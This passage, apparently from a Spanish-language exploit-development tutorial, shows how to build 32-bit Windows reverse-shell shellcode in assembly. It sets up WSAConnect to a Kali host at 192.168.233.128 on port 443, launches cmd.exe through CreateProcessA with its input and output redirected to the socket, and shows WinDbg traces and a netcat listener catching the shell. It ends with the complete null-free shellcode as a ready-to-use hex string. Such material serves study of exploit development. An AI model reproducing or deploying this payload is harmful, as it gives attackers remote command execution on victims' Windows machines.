lpCallerData, lpCalleeData: requieren punteros a datos de usuario que seran transferidos entre sockets, no son compatibles con TCP/IP por lo que los establecemos en 0
lpSQOS: requiere un puntero a la estructura FLOWSPEC que se utiliza en aplicaciones que soportan parametros QoS, como no es el caso vale null (0)
lpGQOS: esta reservado, simplemente se establece en null (0)

Para la estructura sockaddr_in necesitamos convertir la dirección ip del kali (192.168.233.128) al formato correcto igual que el puerto (443)

0:000> ? 0n192  
Evaluate expression: 192 = 000000c0

0:000> ? 0n168  
Evaluate expression: 168 = 000000a8

0:000> ? 0n233  
Evaluate expression: 233 = 000000e9

0:000> ? 0n128  
Evaluate expression: 128 = 00000080

0:000> ? 0n443  
Evaluate expression: 443 = 000001bb

La funcion comienza guardando el descriptor en esi, despues configura la estructura sockin_addr, empujamos 0x0 a la pila 2 veces para el valor de sin_zero[], luego empujamos el dword con la ip de kali, luego movemos a eax el puerto 443 y usando shl desplazamos el valor a la izquierda 0x10 bytes y añadiremos 0x2 al registro ax, esto porque ambos miembros sin_port y sin_family estan definidos con 2 bytes de longitud, luego guardamos en edi el puntero a la estructura

    .call_wsaconnect:
        mov esi, eax                ; socket descriptor
        xor eax, eax                ; $eax = 0x0
        push eax                    ; sin_zero[]
        push eax                    ; sin_zero[]
        push 0x80e9a8c0             ; "192.168.233.128"
        mov ax, 0xbb01              ; 443
        shl eax, 0x10               ; shift eax
        add ax, 0x2                 ; add 0x2
        push eax                    ; sin_port & sin_family  
        mov edi, esp                ; $edi = sockaddr_in

Finalmente empujamos al stack todos los argumentos y llamamos a la función

        xor eax, eax                ; $eax = 0x0
        push eax                    ; lpGQOS
        push eax                    ; lpSQOS
        push eax                    ; lpCalleeData
        push eax                    ; lpCallerData
        mov al, 0x10                ; $eax = 0x10
        push eax                    ; namelen
        push edi                    ; name
        push esi                    ; s
        call [ebp - 0x20]           ; call WSAConnect()

Podemos ver que antes de llamar a la función podemos ver todos los argumentos y el segundo es un puntero a una estructura, veamos que pasa al llamar a WSAConnect

0:000> r
eax=00000010 ebx=773a0000 ecx=e5a1d462 edx=00000014 esi=0000010c edi=009ffeb8
eip=0058111e esp=009ffe9c ebp=009fff14 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
shellcode+0x111e:
0058111e ff55e0          call    dword ptr [ebp-20h]  ss:002b:009ffef4={ws2_32!WSAConnect (773d6c80)}  

0:000> dds esp L7
009ffe9c  0000010c
009ffea0  009ffeb8
009ffea4  00000010
009ffea8  00000000
009ffeac  00000000
009ffeb0  00000000
009ffeb4  00000000

0:000> dds poi(esp + 4) L4
009ffeb8  bb010002
009ffebc  80e9a8c0
009ffec0  00000000
009ffec4  00000000

0:000> p
eax=00000000 ebx=773a0000 ecx=00000000 edx=009ffbc0 esi=0000010c edi=009ffeb8
eip=00581121 esp=009ffeb8 ebp=009fff14 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
shellcode+0x1121:
00581121 56              push    esi

Cuando llamamos a la función recibimos una conexión en nuestro listener, significa que el socket se ha creado y conectado a nuestra ip por el puerto 443

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.233.159  

Para llamar a CreateProcessA nuevamente necesitaremos varios argumentos asi que probablemente necesitaremos analizar uno por uno para conocer sus valores

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation  
);

lpApplicationName: requiere el puntero a una cadena que representa la aplicación, si el parametro es null (0) el parametro lpCommandLine no puede ser null (0)
lpCommandLine: espera un puntero a la cadena que contenga el comando a ejecutar, usaremos este para ejecutar una cmd.exe
lpProcessAttributes:, lpThreadAttributes: requieren punteros a estructuras SECURITY_ATTRIBYTES, para el shellcode pueden valer null (0)
binheritHandles: espera un valor booleano, determina si los handlers del proceso son heredados por el proceso (cmd.exe), este valor sera true (1)
dwCreationFlags: espera varios Process Creation Flags, si vale null (0) utilizara las mismas banderas que el proceso que llama
lpEnviroment: espera un puntero al enviroment block, si vale null (0) cmpartira el mismo que el proceso que llama
lpCurrentDirectory: permite especificar la ruta al directorio del proceso, si vale null (0) utilizara la misma que el proceso que llama
lpStartupInfo: requiere un puntero a la estructura STARTUPINFOA que necesitaremos crear para ejecutar nuestro shellcode
lpProcessInformation: requiere un puntero a la estructura PROCESS_INFORMATION pero solo necesitamos conocer el tamaño de la estructura

Para la estructura STARTUPINFOA realmente solo necesitamos preocuparnos de unos pocos valores ya que el resto puede establecerse en null (0), el primer valor es cb que requiere el tamaño de la estructura que podemos calcular en windbg

0:000> dt STARTUPINFOA
MSVCR120!STARTUPINFOA
   +0x000 cb : Uint4B
   +0x004 lpReserved : Ptr32 Char
   +0x008 lpDesktop : Ptr32 Char
   +0x00c lpTitle : Ptr32 Char
   +0x010 dwX : Uint4B
   +0x014 dwY : Uint4B
   +0x018 dwXSize : Uint4B
   +0x01c dwYSize : Uint4B
   +0x020 dwXCountChars : Uint4B
   +0x024 dwYCountChars : Uint4B
   +0x028 dwFillAttribute : Uint4B
   +0x02c dwFlags : Uint4B
   +0x030 wShowWindow : Uint2B
   +0x032 cbReserved2 : Uint2B
   +0x034 lpReserved2 : Ptr32 UChar  
   +0x038 hStdInput : Ptr32 Void
   +0x03c hStdOutput : Ptr32 Void
   +0x040 hStdError : Ptr32 Void

0:000> ?? sizeof(STARTUPINFOA)
unsigned int 0x44

El segundo valor es dwFlags, determina si ciertos valores de la estructura se utilizan cuando el proceso crea una ventana, necesitamos establecer este miembro a la flag STARTF_USESTDHANDLES (0x100) para habilitar los miembros hStdInput, hStdOutput y hStdError, tambien necesitamos establecer estos los valores, usaremos el descriptor del socket para redirigir el stdin, stdout y stderr al socket

    .create_startupinfoa:
        push esi                    ; hStdError
        push esi                    ; hStdOutput
        push esi                    ; hStdInput
        xor eax, eax                ; $eax = 0x0
        push eax                    ; lpReserved2
        push eax                    ; cbReserved2 & wShowWindow  
        mov ax, 0x101               ; $eax = 0x101
        dec eax                     ; $eax = 0x100
        push eax                    ; dwFlags
        xor eax, eax                ; $eax = 0x0
        push eax                    ; dwFillAttribute
        push eax                    ; dwYCountChars
        push eax                    ; dwXCountChars
        push eax                    ; dwYSize
        push eax                    ; dwXSize
        push eax                    ; dwY
        push eax                    ; dwX
        push eax                    ; lpTitle
        push eax                    ; lpDesktop
        push eax                    ; lpReserved
        mov al, 0x44                ; $eax = 0x44
        push eax                    ; cb
        mov edi, esp                ; $edi = startupinfoa

Para el valor del parametro lpCommandLine necesitaremos crear la string del comando a ejecutar que es cmd.exe y guardar el puntero a esta en el registro ebx

    .create_string:
        mov eax, 0xff9a879b         ; $eax = 0xff9a879b  
        neg eax                     ; $eax = 0x00657865  
        push eax                    ; "exe\x00"
        push 0x2e646d63             ; "cmd."
        mov ebx, esp                ; $ebx = "cmd.exe"

Una vez tenemos todos los argumentos podemos guardarlos en el stack y proceder a llamar a CreateProcessA para ejecutar la cmd.exe que redirigira su output al socket

    .call_createprocessa:
        mov eax, esp                ; $eax = $esp
        xor ecx, ecx                ; $ecx = 0x0
        mov cx, 0x390               ; $ecx = 0x390
        sub eax, ecx                ; sub cx to avoid overwriting  
        push eax                    ; lpProcessInformation
        push edi                    ; lpStartupInfo
        xor eax, eax                ; $eax = 0x0
        push eax                    ; lpCurrentDirectory
        push eax                    ; lpEnvironment
        push eax                    ; dwCreationFlags
        inc eax                     ; $eax = 0x1 (TRUE)
        push eax                    ; bInheritHandles
        dec eax                     ; $eax = 0x0
        push eax                    ; lpThreadAttributes
        push eax                    ; lpProcessAttributes
        push ebx                    ; lpCommandLine
        push eax                    ; lpApplicationName
        call [ebp - 0x14]           ; call CreateProcessA()

Al ejecutar CreateProcessA se ejecuta una cmd.exe que redirige su output al socket que previamente se conecto a nuestro listener por lo que obtenemos una shell

0:000> r
eax=00000000 ebx=009ffe6c ecx=00000390 edx=009ffbc0 esi=0000010c edi=009ffe74
eip=00581166 esp=009ffe44 ebp=009fff14 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
shellcode+0x1166:
00581166 ff55ec          call    dword ptr [ebp-14h]  ss:002b:009fff00={KERNEL32!CreateProcessAStub (76af2d70)}  

0:000> p
ModLoad: 767d0000 76848000   C:\Windows\SysWOW64\sechost.dll
ModLoad: 77600000 77619000   C:\Windows\SysWOW64\bcrypt.dll
eax=00000001 ebx=009ffe6c ecx=14333a6f edx=00a70000 esi=0000010c edi=009ffe74
eip=00581169 esp=009ffe6c ebp=009fff14 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
shellcode+0x1169:
00581169 31c9            xor     ecx,ecx

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.233.159
Microsoft Windows [Versión 10.0.16299.125]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Program Files\Windows Kits\10\Debuggers> whoami
windows\pc1

C:\Program Files\Windows Kits\10\Debuggers>

Como resultado final obtenemos un shellcode de apenas 358 bytes libre de null bytes y badchars comunes que nos sirve para enviarnos una reverse shell, y eliminando cosas innecesarias podemos dejar un shellcode de apenas 340 bytes

❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m elf_i386 -o shellcode

❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x89\xe5\x83\xec\x28\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x14\x8b\x36\xad\x8b\x58\x10\xeb\x06\x5e\x89\x75\xf8\xeb\x53\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x35\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x2f\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xe0\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x33\x59\xe0\x8e\xff\x55\xf8\x89\x45\xf4\x68\x6c\x43\x3c\x58\xff\x55\xf8\x89\x45\xf0\x68\xc9\x2d\xf7\xa9\xff\x55\xf8\x89\x45\xec\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x55\xf0\x89\xc3\x68\x10\x70\x7a\xe1\xff\x55\xf8\x89\x45\xe8\x68\xc5\x6f\xa0\xe0\xff\x55\xf8\x89\x45\xe4\x68\xa8\x6c\x96\xe0\xff\x55\xf8\x89\x45\xe0\x89\xe0\x31\xc9\x66\xb9\x90\x05\x29\xc8\x50\x31\xc0\x66\xb8\x02\x02\x50\xff\x55\xe8\x31\xc0\x50\x50\x50\xb0\x06\x50\xb0\x01\x50\x40\x50\xff\x55\xe4\x89\xc6\x31\xc0\x50\x50\x68\xc0\xa8\xe9\x80\x66\xb8\x01\xbb\xc1\xe0\x10\x66\x83\xc0\x02\x50\x89\xe7\x31\xc0\x50\x50\x50\x50\xb0\x10\x50\x57\x56\xff\x55\xe0\x56\x56\x56\x31\xc0\x50\x50\x66\xb8\x01\x01\x48\x50\x31\xc0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\xb0\x44\x50\x89\xe7\xb8\x9b\x87\x9a\xff\xf7\xd8\x50\x68\x63\x6d\x64\x2e\x89\xe3\x89\xe0\x31\xc9\x66\xb9\x90\x03\x29\xc8\x50\x57\x31\xc0\x50\x50\x50\x40\x50\x48\x50\x50\x53\x50\xff\x55\xec\x99\x52\x6a\xff\xff\x55\xf4